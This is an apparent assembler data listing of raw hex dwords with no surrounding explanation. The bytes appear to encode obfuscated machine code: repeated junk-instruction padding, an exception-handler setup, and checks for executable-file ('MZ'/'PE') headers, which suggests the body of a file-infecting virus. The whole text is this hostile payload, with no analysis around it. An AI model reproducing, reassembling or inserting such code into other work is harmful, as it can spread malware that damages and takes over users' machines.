		dd 8C0F5250h, 5, 7741B3BFh, 4895922h, 53006A24h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0B604DB46h, 63BF66F8h, 6A0B6A81h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 560DC352h, 2A1D858Dh, 6A0630h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 8444E8C3h, 1BD26BBh
		dd 894F974Dh, 2C249DB5h, 66605006h, 0B49423B8h,	4896183h
		dd 0DDD8024h, 1E5595FFh, 6A062Ch, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 91A7C5C3h, 499CF11Fh
		dd 99858922h, 8D062C1Dh, 302A27B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0E994EC37h
		dd 9C183988h, 12E86050h, 0E9000000h, 0C6F964F7h, 88D4749Dh
		dd 5D5B743Ah, 4FD093DFh, 5B616094h, 830F5250h, 0
		dd 5856310Fh, 8961585Ah, 6A2434h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0CD444FC3h, 91B50B4Dh
		dd 816612BDh, 81B927D7h, 877D85C1h, 97BF506Ah, 894272F5h
		dd 8D8B2404h, 62C0805h,	11195FFh, 8B60062Ch, 890F61D1h
		dd 2, 0C00BA3B1h, 2E850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 7FD364C3h
		dd 8BBA35ACh, 785E9CAh,	0BD8B0000h, 62C0805h, 6AD0FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 450F0FC3h, 893C36D1h, 2C048195h, 698D8906h, 8B062C06h
		dd 302A50B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 7A56E3F4h, 6DDA1989h, 0BE98B6Eh
		dd 0D1000000h, 75D90191h, 0EEAD8B2Eh, 0BF66D8F9h, 468D4D67h
		dd 6A046A20h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0B64BC353h, 0D7816617h, 505016FBh
		dd 0B1525052h, 5A310FE8h, 5A310F58h, 24048958h,	0AE9F9h
		dd 0DBB50000h, 1FB96EDh, 0BB82CDE3h, 2A6095FFh,	6A0630h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0E09465C3h, 0BF922BCh, 31840FC0h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 915EC353h, 1B01C310h, 59041403h, 8AC28166h, 669E965h
		dd 0CC8A0000h, 207E80h,	65D840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 100C8AC3h
		dd 5958B34h, 66062C1Ah,	6A60D78Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 524CC351h
		dd 0D181BEB7h, 2EA8F06Dh, 83DBD8Bh, 8D8B062Ch, 62C076Dh
		dd 6620468Dh, 89BCB5B9h, 302A4C85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8B66BF48h
		dd 150E9D0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0FD82C7C3h, 0B9D473FEh, 0D781663Dh
		dd 6A409E46h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 2266C357h, 12E82ECBh, 26000000h
		dd 9400E2DFh, 0C99B391Dh, 350D0E70h, 88F17311h,	11E8D1h
		dd 78D50000h, 0BFC2182Fh, 2293513Ah, 0C86BF776h, 0B16035B2h
		dd 905F598Bh, 6E860h, 0CC800000h, 0A4F1B7FBh, 9E9h, 9D83B300h
		dd 0DBF164AFh, 6158E5E9h, 0C7EFBF50h, 8990765Eh, 2C019DBDh
		dd 6A046A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0BAC1C356h, 6088C8B1h,	1C8D9589h
		dd 0F61062Ch, 388h, 0CABF0F00h,	0E8575090h, 7, 38C194E4h
		dd 0BF4E2160h, 7A230A3Ah, 89905959h, 2C01218Dh,	6095FF06h
		dd 6A06302Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 9466C355h, 9503D88Bh, 62C192Dh
		dd 1D958958h, 0B062C16h, 23840FDBh, 29000000h, 2C21CD95h
		dd 499E906h, 0CE80000h,	9E000000h, 822F22A2h, 34AF6D55h
		dd 0BBBE407h, 2C1A2D8Dh, 38805F06h, 0CF850F00h,	29FFFFFEh
		dd 2C08E9BDh, 0FE906h, 0AD950000h, 1B16548h, 1A41F9F9h
		dd 0F0F2ED7Fh, 49E903h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 9CF6EBC3h, 56EF8164h
		dd 51682305h, 5FCDCE80h, 53006A48h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 3B9E67B4h, 302A4C85h
		dd 46820F06h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 459BC355h, 0B15967D5h
		dd 5C3880FCh, 1B840Fh, 9D890000h, 62C11A1h, 0F2F3880h
		dd 0FFFF9B85h, 0E8F781FFh, 8137B539h, 9929B2DFh, 9D89406Bh
		dd 62C1905h, 2A54BD83h,	0F000630h, 14F84h, 0FA8B6600h
		dd 0D788B950h, 48924AAh, 0A18D8B24h, 3062C00h, 302A5485h
		dd 0BE85306h, 91000000h, 9C34B698h, 60D1922h, 958B6993h
		dd 62C224Dh, 5250595Ah,	40E1DBBAh, 4895A6Dh, 45BD8B24h
		dd 6A062C13h, 758D8B04h, 0F062C0Fh, 583h, 9EE4BF00h, 0E8506229h
		dd 12h,	0E00B3284h, 3390188Dh, 7154ADE9h, 0B2A6D879h, 8F0F9593h
		dd 5, 6AF246BAh, 4895F69h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0F6D38DFDh
		dd 2A6095FFh, 0B5090630h, 62C2405h, 810FD88Bh, 6, 26F3C281h
		dd 6A583FD7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 896AC353h, 0AC3E32A9h,	8B25CCEAh
		dd 558D8BFAh, 0B062C21h, 56840FDBh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0A729C356h, 0E485F945h, 5B3B601h, 0BCD958Bh,	90E9062Ch
		dd 6A000002h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 6370C351h, 8B804F7Ch, 2C2215BDh
		dd 0C606h, 2A51B589h, 6658062Ch, 0A507C981h, 8B525090h
		dd 0E8310FD3h, 6, 58328B05h, 6E9F006h, 81000000h, 127FD9DBh
		dd 585A5AD0h, 0FB8B6650h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 9A564E3h, 2C0F0D8Dh
		dd 6A1E6A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0C7FDC356h, 15AFBA50h,	4891A11h
		dd 11E824h, 155B0000h, 0DC3B01E3h, 9304A602h, 41A2F767h
		dd 8959E36Dh, 2C0E5DB5h, 95FF5F06h, 6302A60h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0BDC35040h, 0B501F13Fh
		dd 62C0C51h, 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0F61393C3h, 8D89F774h, 62C0F4Dh
		dd 57D28058h, 840FDB0Bh, 52h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 1BC35646h, 0B70F04CCh, 149E9CBh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0A5E6ECC3h, 0E9BEB0A8h, 6, 0F3425219h, 575054CEh
		dd 895FFB8Bh, 0FFFC2404h, 302A40B5h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0A0D377F5h
		dd 7E39C65Dh, 1A7BDF81h, 95FF69ACh, 6302A44h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 73C35646h, 6399589h
		dd 0E950062Ch, 0Eh, 0A9EB6847h,	0D588D5BCh, 5A15606Ch
		dd 0B5A1282h, 69850FC0h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0D68C356h
		dd 2EBDB55Fh, 31607903h, 2C13FDB5h, 61595206h, 55006A61h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0F0A41743h, 0B70FA585h, 4885C7D0h, 106302Ah,	89000000h
		dd 2C0671B5h, 39E906h, 11B50000h, 6880F61h, 89000000h
		dd 2C2B4DB5h, 1CC68106h, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E987C357h, 0FFFFF8F2h, 68FABF0Fh, 90543CB3h
		dd 0AE9h, 59708A00h, 2C892744h,	8143C7CCh, 434D2404h, 0A5B96FACh
		dd 6A3C17D2h, 0FD958B00h, 0FF062C2Bh, 302A50B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 17BA799Ch, 0FF249589h, 2C1C7595h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0DA9AD5C6h
		dd 5BAF5AA0h, 50E9B966h, 2A48858Bh, 0BD290630h,	62C33D1h
		dd 8D0F90h, 50000000h, 0C5E1BF57h, 9059703Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0F5C35242h, 8179F363h
		dd 7A87C0C2h, 0E38A6054h, 10E9h, 0DE389F00h, 0BE5C394h
		dd 85B1218Dh, 0FBBDF06Ch, 858D6166h, 6302A58h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 89C35040h, 0E812A730h
		dd 0C9F734DFh, 0FDBD2B34h, 50062C12h, 0F240489h, 1D8Bh
		dd 178B0F00h, 0E8000000h, 11h, 0DD20B538h, 0ABA71F97h
		dd 4D91E5C1h, 0D5717827h, 858D59EBh, 6302A15h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 79C35242h, 0F31EF40Eh
		dd 8144A5CAh, 0A7B47ED7h, 52509028h, 0F525051h,	5A585A31h
		dd 0BF66310Fh, 585AFC52h, 8969BA50h, 66900520h,	5EB0D981h
		dd 56995FFh, 6A062Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0C6BA64C3h, 437DA318h, 8BCF8B66h
		dd 65BD83C0h, 62C1Dh, 0BD830975h, 62C23D9h, 50137400h
		dd 0B8C08B53h, 4D0h, 0AFA79D8Dh, 0D3FF062Eh, 0BD83585Bh
		dd 62C23D9h, 50117400h,	4D0B853h, 9D8D0000h, 62EAEA6h
		dd 585BD3FFh, 8162C580h, 0C45661D9h, 0D3B70F12h, 6AC08Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 680680C3h, 8E0FFCA0h, 3, 58F98B66h, 8663C781h, 8C25FD3h
		dd 0A1850100h, 8B062C11h, 55006AC0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 870F6070h
		dd 6, 1162EF81h, 8166495Dh, 61BA6BD1h, 6F98D89h, 858D062Ch
		dd 6302A8Bh, 8589D18Bh,	62C0AA9h, 10E8h, 33CE1800h, 5D2E6FCFh
		dd 0BDB0FD34h, 1D76A83Bh, 9E9D3h, 4D600000h, 0F8645880h
		dd 58B92D76h, 2890Fh, 0DA8A0000h, 6C36C081h, 8D890000h
		dd 62C0C4Dh, 0BFh, 6E900h, 5BF40000h, 0B79F10DDh, 810734FFh
		dd 0C1CA5CD3h, 9D8B5A09h, 62C1159h, 92A0C281h, 8D8B4848h
		dd 62C0C45h, 0A4BDF281h, 0E951187Dh, 0Dh, 44C63E0Ch, 6426C0CAh
		dd 17D114FEh, 0C2815BB2h, 27F67B2Bh, 2800Fh, 28B70000h
		dd 0F381489h, 0B589CABFh, 62C1C9Dh, 6602EF83h, 0BE0E681h
		dd 0BF0F4F4Fh, 80FF81F2h, 0FFFFF94h, 0FFFF9785h, 9E9FFh
		dd 95420000h, 9300F7D5h, 0BAF4E7E3h, 0F008F000h, 0EA81h
		dd 0C283F000h, 11958914h, 83062C20h, 858D14EAh,	6303EC3h
		dd 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 0CD8589C8h, 3062C20h, 0B70F3C40h, 95890650h,	62C20B1h
		dd 8950508Bh, 2C293995h, 0F80506h, 508B0000h, 89D1030Ch
		dd 2C2C5595h, 8500306h,	1CA99589h, 8F64062Ch, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 29A1BD83h, 0F00062Ch, 2484h,	0AD85C600h, 47062C21h
		dd 9AA7D268h, 3DB5FFD4h, 8D062C07h, 2F860C85h, 6AD0FF06h
		dd 89D0FF00h, 2C1D1185h, 60D38B06h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 1BC35545h, 830FC08Bh, 6, 409EF181h
		dd 0BD836BB5h, 62C1D65h, 83097500h, 2C23D9BDh, 19740006h
		dd 0C08B5350h, 438B8h, 91858900h, 8D062C06h, 2EB16C9Dh
		dd 5BD3FF06h, 0D9BD8358h, 62C23h, 53501774h, 438B8h, 91858900h
		dd 8D062C06h, 2EAE5B9Dh, 5BD3FF06h, 15BD8958h, 0E9062C10h
		dd 7, 0A3E56BD2h, 8BC46238h, 50006AC0h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 90E87C5Ch
		dd 6A000008h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0C987C353h, 0A821F2A4h, 2D718D33h
		dd 8589062Ch, 62C2D19h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0FC35141h, 8723D017h,	83DE85Bh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 3602CCC3h, 89692F6Fh, 2C2B4185h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 9D8B6076h
		dd 62C149Dh, 2C8D8501h,	0E861062Ch, 7E7h, 0BD8B3BB5h, 62C2385h
		dd 243D8589h, 6A062Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0BC8917C3h, 1ED9CB5h, 7E9841Dh
		dd 60000000h, 424A74CBh, 0A4E874BBh, 6A000007h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0C0E3C355h, 0F7F3979h, 8589FFBFh, 62C274Dh, 74E8F38Bh
		dd 6A000007h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0A1F9C353h, 7E847B7h, 4E000000h
		dd 73D7D2B6h, 0BD8B0C7Fh, 62C1135h, 0F585895Fh,	6A062C25h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 8034C357h, 6A907979h, 0BE95179h, 6F000000h
		dd 25B1C1BFh, 3B9050F7h, 0E85FEB7Dh, 703h, 8589CF8Ah, 62C22C1h
		dd 1A658589h, 0F0E8062Ch, 6A000006h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0B53AC356h
		dd 2D119501h, 8589062Ch, 62C2C81h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 8CC35747h, 66A12667h, 0A0E8FA8Bh
		dd 0B5000006h, 0F98589A0h, 0F062C11h, 585h, 3536BE00h
		dd 88E83AFFh, 6A000006h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 5FEC351h, 0E88AA972h
		dd 8E18589h, 8589062Ch,	62C1E91h, 656E8h, 0E6816600h, 85897BD8h
		dd 62C150Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	8EC35040h, 0D3EF811Ch, 0E877F266h, 623h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0F9C35040h, 0EC3BF1C4h
		dd 8D031918h, 62C310Dh,	2483B966h, 22D8589h, 6A062Ch, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 5B1563C3h, 104DF05Ch, 0CBE6812Fh, 8B4F6396h,	2C2005B5h
		dd 5BDE806h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 8FBB1BC3h, 0A921556Eh, 8B66605Ah
		dd 4DBD8BC3h, 61062C1Dh, 1A0D8589h, 6A062Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 3B62F9C3h
		dd 8B66C627h, 958D89CFh, 0E8062C24h, 55Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 84C35242h, 757118D4h
		dd 9E956h, 33610000h, 0F4C4B6E8h, 66EEE48Ch, 8589CB8Bh
		dd 62C3101h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	1CC35545h, 0E85EBBh, 6A000005h,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 66B7C351h
		dd 0FBBF0F98h, 0E567BF66h, 0DD8589h, 6A062Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0C0FFC0C3h
		dd 10E905h, 51DF0000h, 7F7AD49Eh, 635A1C0Dh, 5390F8AEh
		dd 0F500FDAh, 0A8Dh, 5E900h, 0D8E00000h, 59383C77h, 48AE8h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 4459708Ah, 29419529h, 8589062Ch,	62C0599h
		dd 178E0Fh, 0EE80000h, 0F7000000h, 0E4FEB4h, 1E73E806h
		dd 134C6230h, 0F78B6679h, 43DE859h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 7FA312C3h
		dd 8C0FBAFCh, 5, 0A0E18166h, 3585898Eh,	66062C2Ch, 0B06410BFh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0D8B60F02h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0BEC35545h, 37E4836Ch, 0BAFF5EC3h, 6
		dd 2265BD8Bh, 0C38B062Ch, 13E8h, 6E854B00h, 5BA3DB3h, 0F37606F6h
		dd 0D1E29622h, 3FEDBA55h, 11E9h, 0D6B5BE00h, 89588B3Bh
		dd 0F544374Fh, 2A17197Ch, 0C159485Fh, 6A04E8h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0F76645C3h, 97CF81E2h, 0E95B262Ah, 9, 8E50F5F0h, 0DC68C263h
		dd 6AD82B39h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 1437C357h, 0CD82FB8h, 89500CFEh
		dd 8A0F241Ch, 2, 95FFE88Ah, 62C29E9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 31C35545h, 3960A060h, 0A9D9480h
		dd 0AABF66F9h, 6A5B84h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8DAF9DC3h, 2C339D95h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 3CA572C9h, 21958953h, 59062C00h, 0A822A9B9h,	6A1A8913h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 16F6C355h, 2DB08D08h, 0BF0F4603h,	8B5760F2h
		dd 2C2C09B5h, 89615F06h, 6A0442h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 35EAE7C3h, 0D03E208h
		dd 23822B58h, 2C26158Dh, 5958D06h, 6A062C06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 68B5C351h, 892D3F89h, 0BD8B601Ah, 62C0755h, 6810Fh
		dd 8D0F0000h, 0
		dd 4428961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	68C35343h, 8DFE8B27h, 2C074D95h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 8B809610h, 2C01B18Dh, 10E906h, 4F400000h, 0A9DDAA04h
		dd 6DB9A40Eh, 39985A8Bh, 1A895608h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 87C35343h, 0C82303F8h, 66044289h
		dd 8177E681h, 19E1958Dh, 0E953062Ch, 0Ah, 501008A3h, 0FD623393h
		dd 665F1A1Eh, 8961A2BEh, 0DBF661Ah, 4428923h, 0D794BE66h
		dd 2649958Dh, 0B589062Ch, 62C2CEDh, 9800Fh, 66600000h
		dd 0FA55DBAh, 8961D1B7h, 0FE91Ah, 86CB0000h, 0D2BC7067h
		dd 0E794D2B5h, 5B5E47EFh, 442890Fh, 5E9h, 784DE800h, 958DADF7h
		dd 62C05ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	2CC35242h, 0BFFC920Ah, 3E17A006h, 6A1A89h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 62CCF9C3h, 1E6DB58Bh, 4289062Ch, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 1767735Fh
		dd 0B63133F8h, 8E9h, 0D4532A00h, 7EB6C2D9h, 15958DA0h
		dd 81062C1Ah, 0A42AE6EFh, 0F1A8950h, 587h, 0E6816600h
		dd 4289E7ADh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 8B25D20Ch, 2C0EC5BDh, 0E6816606h
		dd 958D863Ah, 62C1569h,	20498D8Bh, 1A89062Ch, 7358531h
		dd 0EF81062Ch, 201D06F6h, 89044289h, 2C25ED8Dh,	0EAE906h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0B6BD0DC3h, 58CEAF47h, 6ACB8B66h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 83A079E9h, 0BD8B4238h, 62C1E19h, 6AA8CD80h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 32D6810Bh, 0E9460199h, 0Dh, 0F5C43DADh, 0F6DA48FCh
		dd 73E6126Dh, 66006ADCh, 6ABB01BFh, 0A8E98100h,	0FF451C71h
		dd 2C11AD95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 3195892Ah, 8B062C2Dh, 2C3139B5h
		dd 0C3F38B06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0EAC35141h, 8D2BDDE2h, 62C2751h, 0B533C58Ah, 62C2419h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0A0F35CC3h, 3E312BBDh, 66504611h,	107BCF81h
		dd 65BD8359h, 62C1Dh, 0BD830975h, 62C23D9h, 50197400h
		dd 0B8C08B53h, 438h, 343D8589h,	9D8D062Ch, 62EB1D3h, 585BD3FFh
		dd 23D9BD83h, 7400062Ch, 0B8535017h, 438h, 343D8589h, 9D8D062Ch
		dd 62EAE74h, 585BD3FFh,	0DE9h, 0AA6900h, 0F79F508Ch, 4CCCE34Ah
		dd 6A9755h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 8D8B90C3h, 62C0031h, 858DC08Bh, 62C32A5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 70C35545h
		dd 9D9D0910h, 50062C19h, 0BB665057h, 5F5B0CD8h,	6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 4A51C356h, 8A0F5DBDh, 6, 1E79BD8Bh, 6A062Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 7DC35040h
		dd 840F5660h, 0
		dd 6D8D235Fh, 61062C0Fh, 0BB66006Ah, 858D76C2h,	6304C1Fh
		dd 0B8257DBBh, 5C08354h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 0EAC35141h, 0F5190FDh, 580h, 0A00EBB00h
		dd 505B444Ch, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 2B5778ADh, 0BD2932C3h, 62C0695h
		dd 8D8D8B60h, 52062C2Dh, 2A219D29h, 615B062Ch, 2D9D8953h
		dd 5B062C05h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0E08A65C3h, 0C9BD2912h, 6A062C0Ch
		dd 0B1B52900h, 0E9062C09h, 0Ah,	558C7396h, 79CEBE57h, 95FF55CFh
		dd 62C239Dh, 10E9h, 48FBEF00h, 75345513h, 0B64C171Bh, 5B31BE10h
		dd 428D8D78h, 0E9062FA0h, 0Bh, 96EFB85h, 4FC1B5BBh, 0FFF299FFh
		dd 55006AD1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0E9294760h, 5, 535B422Ah, 0A1BD83F7h, 1062C09h
		dd 0AB850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FF0FCC3h, 26ADBB7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 4C35343h, 33F19501h
		dd 6090062Ch, 11E9h, 0F9741000h, 96BB9436h, 6501A5C9h
		dd 8465AD20h, 0C28BA83Ah, 0BF665061h, 6A90FF69h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8B65C351h, 2C08DDBDh, 8995FF06h, 0E8062C05h,	14h, 12A63857h
		dd 0F30C3B51h, 61B2BC50h, 0E2065AD1h, 8DCFA161h, 6AA2BF66h
		dd 0E5AE95Fh, 0E80000h,	5D000000h, 4C29ED81h, 6A0630h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0D3C657C3h, 5D297DC1h, 8E9D5h, 337D0000h, 7D73DD24h
		dd 8D893813h, 62C1C15h,	9AD3858Dh, 5090062Fh, 8E852h, 3E040000h
		dd 0E75DB30Eh, 0F5F929Eh, 0DA8B6631h, 0F50585Ah, 28Ch
		dd 9025B700h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	3CC35545h, 77B9BF66h, 35FF64h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0CB2C350h, 0FD98589h, 0BD8B062Ch, 62C021Dh, 12DDB589h
		dd 8964062Ch, 25h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0BD0001C6h, 2A018D89h
		dd 850F062Ch, 2, 85FFF88Bh, 62C1A69h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0DC35343h, 6A00000Eh, 0DF8166FFh
		dd 14E9E9F4h, 1C000000h, 4B48635Ch, 0D89017CFh,	7E10F687h
		dd 0C6F1D5Ah, 0FFE003C7h, 2C2D19B5h, 0B8E78006h, 4C595FFh
		dd 21E9062Ch, 8B000001h, 2C2655BDh, 0B0DF8B06h,	88F78000h
		dd 0E6F9BF0Fh, 0FA8B6670h, 0E85771E4h, 0Dh, 7CD2AD27h
		dd 0CA7E00ACh, 1A473B42h, 5F5B5785h, 0F613C5Fh,	0EB83h
		dd 0FE900h, 91080000h, 0E4C6DE9Ah, 0B2B5B248h, 190EC400h
		dd 0C8B60F21h, 14F1BD89h, 6BA062Ch, 89000000h, 2C22F59Dh
		dd 89C18B06h, 2C12B195h, 4E8C106h, 11E9h, 0E6205800h, 0F5E8C891h
		dd 0CF417438h, 0DD09F82Dh, 0F766B9C6h, 0F38166E2h, 8589BAABh
		dd 62C0FE9h, 0BD03C82Bh, 62C0135h, 0CEEB8050h, 1D18B5Bh
